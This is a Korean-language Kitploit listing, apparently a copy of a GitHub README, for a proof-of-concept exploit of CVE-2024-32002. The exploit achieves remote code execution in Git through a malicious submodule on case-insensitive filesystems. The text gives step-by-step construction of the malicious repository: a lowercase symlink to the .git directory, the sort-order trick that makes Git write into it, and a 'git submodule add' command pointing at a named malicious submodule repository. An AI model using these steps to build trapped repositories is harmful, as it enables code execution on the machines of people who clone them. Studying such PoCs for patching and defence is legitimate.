cve-2024-32002-poc-rce — CVE-2024-32002에 대한 개념 증명 익스플로잇으로, 대소문자 구분 없는 파일시스템에서 악의적인 Git 서브모듈을 통해 원격 코드 실행을 시연합니다. | Kitploit

공유

CVE-2024-32002 RCE POC

CVE-2024-32002의 PoC로, 원격 코드 실행(RCE)을 시연합니다.

관련 서브모듈 저장소는 cve-2024-32002-poc-rce에서 확인하세요.

이 저장소에 포함된 내용

.git 디렉터리를 가리키는 임의의 이름을 가진 심볼릭 링크.
악성 서브모듈을 정의하는 .gitmodules 파일.

이 저장소를 재현하는 방법

이 저장소는 Linux(WSL2, 정확히는)에서 생성되었습니다. 악성 저장소는 대소문자 구분 파일 시스템에서만 생성할 수 있다는 점이 중요합니다.

모두 소문자로 심볼릭 링크를 생성합니다.

ln -s .git submodule

참고:

심볼릭 링크는 .git 폴더를 가리켜야 합니다. 파일을 쓰고자 하는 대상이기 때문입니다.
심볼릭 링크 이름(submodule)은 임의지만, 소문자로 시작해야 합니다.
소문자가 대문자보다 정렬 순서상 앞서기 때문에 중요합니다. 클론하는 시스템이 서브모듈 파일을 어디에 써야 할지 혼란스러울 때, 심볼릭 링크를 선택하게 하고 일반 디렉터리를 선택하지 않도록 하기 위함입니다.

악성 서브모듈을 추가합니다. 서브모듈 디렉터리 이름의 대소문자 차이에 유의하세요.

git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce